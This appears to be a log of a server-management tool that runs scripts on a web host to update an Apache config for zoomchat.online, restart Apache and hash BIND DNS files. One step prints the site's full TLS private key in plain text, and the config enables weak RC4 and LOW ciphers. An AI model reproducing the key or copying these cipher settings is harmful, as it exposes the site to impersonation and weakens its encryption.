BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/httpd/conf.d/zoomchat_www_online.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-10-22 12:27:08:
chmod 755 /tmp/pkp670287; /tmp/pkp670287; rm /tmp/pkp670287
2025-10-22 12:27:08:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/httpd/conf.d/zoomchat_www_online.conf 1728
<VirtualHost *:80>
ServerName zoomchat.online
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/zoomchat_www
<Directory /var/www/zoomchat_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
<Files "index.html">
FileETag None
Header unset ETag
Header set Cache-Control "max-age=0, no-cache, no-store, must-revalidate"
Header set Pragma "no-cache"
Header set Expires "Wed, 11 Jan 1984 05:00:00 GMT"
</Files>
</Directory>
CustomLog /var/log/httpd/zoomchat/www_access.log combined
ErrorLog /var/log/httpd/zoomchat/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName zoomchat.online
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/pki/tls/certs//842c702c1ca7114dc2c211c70793b244.crt
DocumentRoot /var/www/zoomchat_www
<Directory /var/www/zoomchat_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
<Files "index.html">
FileETag None
Header unset ETag
Header set Cache-Control "max-age=0, no-cache, no-store, must-revalidate"
Header set Pragma "no-cache"
Header set Expires "Wed, 11 Jan 1984 05:00:00 GMT"
</Files>
</Directory>
CustomLog /var/log/httpd/zoomchat/www_secure_access.log combined
ErrorLog /var/log/httpd/zoomchat/www_secure_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
2025-10-22 12:27:08:
PUT: /tmp/pkp656097
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/httpd
BASENAME=zoomchat_www_online.conf
TARGET=/etc/httpd/conf.d/zoomchat_www_online.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName zoomchat.online
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/zoomchat_www
<Directory /var/www/zoomchat_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
<Files "index.html">
FileETag None
Header unset ETag
Header set Cache-Control "max-age=0, no-cache, no-store, must-revalidate"
Header set Pragma "no-cache"
Header set Expires "Wed, 11 Jan 1984 05:00:00 GMT"
</Files>
</Directory>
CustomLog /var/log/httpd/zoomchat/www_access.log combined
ErrorLog /var/log/httpd/zoomchat/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName zoomchat.online
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/pki/tls/certs//842c702c1ca7114dc2c211c70793b244.crt
DocumentRoot /var/www/zoomchat_www
<Directory /var/www/zoomchat_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
<Files "index.html">
FileETag None
Header unset ETag
Header set Cache-Control "max-age=0, no-cache, no-store, must-revalidate"
Header set Pragma "no-cache"
Header set Expires "Wed, 11 Jan 1984 05:00:00 GMT"
</Files>
</Directory>
CustomLog /var/log/httpd/zoomchat/www_secure_access.log combined
ErrorLog /var/log/httpd/zoomchat/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/httpd/conf.d/zoomchat_www_online.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/httpd/sites-enabled/zoomchat_www_online.conf)= /etc/httpd//etc/httpd/conf.d/zoomchat_www_online.conf'
echo 'file(/etc/httpd//etc/httpd/conf.d/zoomchat_www_online.conf= 1'
fi
2025-10-22 12:27:09:
chmod 755 /tmp/pkp656097; /tmp/pkp656097; rm /tmp/pkp656097
2025-10-22 12:27:09:
2025-10-22 12:27:09:
PUT: /tmp/pkp366673
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-10-22 12:27:10:
chmod 755 /tmp/pkp366673; /tmp/pkp366673; rm /tmp/pkp366673
2025-10-22 12:27:10:
.
2025-10-22 12:27:10: Establishing a connection
2025-10-22 12:27:11:
PUT: /tmp/pkp622807
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-10-22 12:27:12:
chmod 755 /tmp/pkp622807; /tmp/pkp622807; rm /tmp/pkp622807
2025-10-22 12:27:12:
[Wed Oct 22 12:27:12.906567 2025] [so:warn] [pid 352024:tid 140062657898816] AH01574: module status_module is already loaded, skipping
VirtualHost configuration:
*:80 is a NameVirtualHost
default server messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:1)
port 80 namevhost messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:1)
port 80 namevhost repo.hostz.org (/etc/httpd/conf.d/hostz_repo_org.conf:2)
port 80 namevhost voip.patientapps.net (/etc/httpd/conf.d/patientapps.conf:1)
port 80 namevhost zoomchat.net (/etc/httpd/conf.d/zoomchat_www_net.conf:2)
port 80 namevhost zoomchat.online (/etc/httpd/conf.d/zoomchat_www_online.conf:2)
*:443 is a NameVirtualHost
default server messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:26)
port 443 namevhost messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:26)
port 443 namevhost repo.hostz.org (/etc/httpd/conf.d/hostz_repo_org.conf:29)
port 443 namevhost messier.pjy.us (/etc/httpd/conf.d/ssl.conf:40)
port 443 namevhost zoomchat.net (/etc/httpd/conf.d/zoomchat_www_net.conf:31)
port 443 namevhost zoomchat.online (/etc/httpd/conf.d/zoomchat_www_online.conf:26)
ServerRoot: "/etc/httpd"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/etc/httpd/logs/error_log"
Mutex authdigest-opaque: using_defaults
Mutex watchdog-callback: using_defaults
Mutex proxy-balancer-shm: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex authdigest-client: using_defaults
Mutex lua-ivm-shm: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex authn-socache: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/etc/httpd/run/" mechanism=default
Mutex cache-socache: using_defaults
PidFile: "/etc/httpd/run/httpd.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="asterisk" id=1000
Group: name="asterisk" id=1000
.
STDERR:
[Wed Oct 22 12:27:12.906567 2025] [so:warn] [pid 352024:tid 140062657898816] AH01574: module status_module is already loaded, skipping
2025-10-22 12:27:12:
PUT: /tmp/pkp609954
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/httpd/conf.d/zoomchat_www_online.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-22 12:27:13:
chmod 755 /tmp/pkp609954; /tmp/pkp609954; rm /tmp/pkp609954
2025-10-22 12:27:13:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/httpd/conf.d/zoomchat_www_online.conf 1737
<VirtualHost *:80>
ServerName zoomchat.online
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/zoomchat_www
<Directory /var/www/zoomchat_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
<Files "index.html">
FileETag None
Header unset ETag
Header set Cache-Control "max-age=0, no-cache, no-store, must-revalidate"
Header set Pragma "no-cache"
Header set Expires "Wed, 11 Jan 1984 05:00:00 GMT"
</Files>
</Directory>
CustomLog /var/log/httpd/zoomchat/www_access.log combined
ErrorLog /var/log/httpd/zoomchat/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName zoomchat.online
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/pki/tls/certs//842c702c1ca7114dc2c211c70793b244.crt
DocumentRoot /var/www/zoomchat_www
<Directory /var/www/zoomchat_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
<Files "index.html">
FileETag None
Header unset ETag
Header set Cache-Control "max-age=0, no-cache, no-store, must-revalidate"
Header set Pragma "no-cache"
Header set Expires "Wed, 11 Jan 1984 05:00:00 GMT"
</Files>
</Directory>
CustomLog /var/log/httpd/zoomchat/www_secure_access.log combined
ErrorLog /var/log/httpd/zoomchat/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-10-22 12:27:13:
PUT: /tmp/pkp449860
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/pki/tls/certs//842c702c1ca7114dc2c211c70793b244.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-22 12:27:14:
chmod 755 /tmp/pkp449860; /tmp/pkp449860; rm /tmp/pkp449860
2025-10-22 12:27:14:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/pki/tls/certs//842c702c1ca7114dc2c211c70793b244.crt 5349
e5:3e:f3:a6:9d:0e:04:b3:94:dc:a3:e4:31:9a:33:4e
-----BEGIN CERTIFICATE-----
MIIE/DCCA+SgAwIBAgISBYhLh3IQVYZN2N1YrSg5ra3uMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDIyMTEyODMyWhcNMjYwMTIwMTEyODMxWjAaMRgwFgYDVQQD
Ew96b29tY2hhdC5vbmxpbmUwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQCs+HTNUhLqh4lzT+LuS4qTycm0kPteHw6luW/WDxIniSuHGvCyK34gjmxmtk/w
CuK4JsneXsVvyG6ghPEmkrG1w4Q65tvBXXMCr2aLwiKJhQJTmierKtXVtqtJSCbr
qHHXKwjd1/GlmDZc1/a7FXoAvxiwYIKA5GNNw0H5r+tnFzGSiQqtS0LAHxwsIuK+
J4yLWLqFMHuwPjIirMOQo0/PgSb26KlVqpIeGYJSeuUkQzQ0wlxJ76TbLm6gU4GW
qaazj0c7nLJo62OFEbGElRcIdY9joM8gSbgVPBNiF3nDz6ds+SelFCoPGfso5PD+
7V6vWsiY1KRoIVUe9mvcUwydAgMBAAGjggIhMIICHTAOBgNVHQ8BAf8EBAMCBaAw
HQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYD
VR0OBBYEFA00ypFYD/Y14WuFHE8uzsd4tUUTMB8GA1UdIwQYMBaAFAC1KfItjm8x
6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDov
L3IxMi5pLmxlbmNyLm9yZy8wGgYDVR0RBBMwEYIPem9vbWNoYXQub25saW5lMBMG
A1UdIAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9yMTIu
Yy5sZW5jci5vcmcvMTExLmNybDCCAQUGCisGAQQB1nkCBAIEgfYEgfMA8QB2AGQR
xGykEuyniRyiAi4AvKtPKAfUHjUnq+r+1QPJfc3wAAABmgvjE7oAAAQDAEcwRQIh
ANq+uZ9Utz1T41tLbU2niCt7EEuiADgG84Qi4qFiecZuAiAmlUM9yDKDwUNZKTeq
Z7eb2RIkBAb24C21JqdLhx1cdwB3AMs49xWJfIShRF9bwd37yW7ymlnNRwppBYWw
yxTDFFjnAAABmgvjE90AAAQDAEgwRgIhAKMyPVNcQCvadFGU/9I7Ha9G524s+erL
0PsQm6lLACMtAiEAgwfLGFoNSdKhxNPz3HzgF4g9D3wFZPNRYH9HUcSOIdUwDQYJ
KoZIhvcNAQELBQADggEBAG0PMkKKd90N85EnhPW8JKUuMGT/amnIRxrgpGgGH7cC
nVWZgg8tl01mOLgWvbBNdA14shWyjnZI2LNNHz0MurLS1BGbvW90mDDCnKCk5ga3
jIvkZJBWbg1r1TfX5OULAnUmCG+biKSJRVGK9JpGJfxRIJkmiLShAY/F2d4y/blz
ltt8BuuT3YfN58I9Hc07ogVM7wIWZHR2zLmYody0sU7Kd0wuFpI8mkTFNeKB7P0v
B3Ao5hgOlwCL1ZDvOMRCWyOqosfoiy7Ms1pxjvbZbG/rLHy3l8mJoAHnJJGT80r0
VO7U0s+ODG5mZvmJ67ygs+CJIYjqPMJHGLBADap0lR0=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCs+HTNUhLqh4lz
T+LuS4qTycm0kPteHw6luW/WDxIniSuHGvCyK34gjmxmtk/wCuK4JsneXsVvyG6g
hPEmkrG1w4Q65tvBXXMCr2aLwiKJhQJTmierKtXVtqtJSCbrqHHXKwjd1/GlmDZc
1/a7FXoAvxiwYIKA5GNNw0H5r+tnFzGSiQqtS0LAHxwsIuK+J4yLWLqFMHuwPjIi
rMOQo0/PgSb26KlVqpIeGYJSeuUkQzQ0wlxJ76TbLm6gU4GWqaazj0c7nLJo62OF
EbGElRcIdY9joM8gSbgVPBNiF3nDz6ds+SelFCoPGfso5PD+7V6vWsiY1KRoIVUe
9mvcUwydAgMBAAECggEAG7nDtzmlsJRDMwmmHX5cWy4oN9pZgI/H4EamJ5DI3y98
m6500IpqMDvEIn6st5R3HP+SsiNM0Is3OGG26fDvrWwGoQ5qQUeCbPbCoDphINwC
MHZwT16RYi1irV90Zafdf5j1VeIMaPfKFv3DHd/ma4I2Ked+Y7y4MjnPNH+/Ywmw
AR8TksJikVeQN4ylndzQrRFA1Kw+rk73PXyTj/QNd7++wu9jJDxjEJMR7ixBXOKn
1ZPCtrvLnMk3s82KWy9QwbZnHTlyVzeIvJMJeFvzOOHxCHZZCfAqLLYQIcxBpjRY
hDLJcIUJA2r8+rKPIfR7p5JS8DIlOWy7M+6vuySKIQKBgQDlZ7W8N0dPn8Km5ZRa
vjyiK5wPvxnifFsKteBbLo3yreHxkINhJuACyk747zkI335AxOK3akf2Ebzu5S1D
0iKoUZ78MJ072nZstzQzIABo6yBkac8vFg5n0eslPggQUs8rrVvVYGnRQeO7/7ty
bG+4L5t7mEjRdfMj8iP0VPoVKQKBgQDBBeEn3SwBRGyy5ydx4l8Yb1XIPPXJ502W
AIepHp02cAmLQtARC0vt7hg2vs7yJhy8dD7fUtxinlaPFU9fc+vomH9rJX+CoKO0
o4RNAsz7yKUsq/+MlhUZgg+4wEIdFL1aRq+6onnQhGVwwpQQ0xQ2tynnfbq/xx7y
KgW5TkSWVQKBgBc/5YlHyPBm7qFfjyOLODXvWYe3BHaRx+BUAoL7OuOnf8itrsL/
36AoxMwx4oPlsrP5wEh6ewSTU6SakXXYLC8G5qgEfUr9nxbxklbEHYaEnenPV3Ic
OCWJft1tZf/RhLGWhkIf3VmZ5ey9xE+acdAm8wkZq/eejp/MAJzYp+fRAoGAf0+7
dCmjDqrs7wsbrzfZ9Snp8IqUqzkOqXNsBxYUJ4W6JcpJphRHXoV+Hw23PWv55Crg
FTh39+vrt7AcjB7PaLi8whUXhzchAtIfPxQr055Bo7dGdJnBDPQGHptggAHf6p1Y
5sanhertZXRRaM9wM66XywHYnQle1eb1o4WGI4kCgYEAjpIpnCTz6RpFD4O9K/1e
ij0n3tthGzfpKcYJEQnn5Sm4hj3UIdzSAlxrbvNiI1A6oMGUeHa7uoV1HSBfyAlS
iS6lwhi6uscSyvKkKkuzyPAsHqLlyYlWpdVvCG/s6lWZ7fd4WuZuqXe3MehtYNye
6DxNZENRXjqV4clN9X2dq14=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2025-10-22 12:29:14: Establishing a connection
2025-10-22 12:29:14:
PUT: /tmp/pkp951076
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-10-22 12:29:14:
runuser -l bind -s /bin/bash -c '/tmp/pkp951076; rm /tmp/pkp951076'
2025-10-22 12:29:14:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 375a64f534f63b93f1dcfccf9cc415bd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
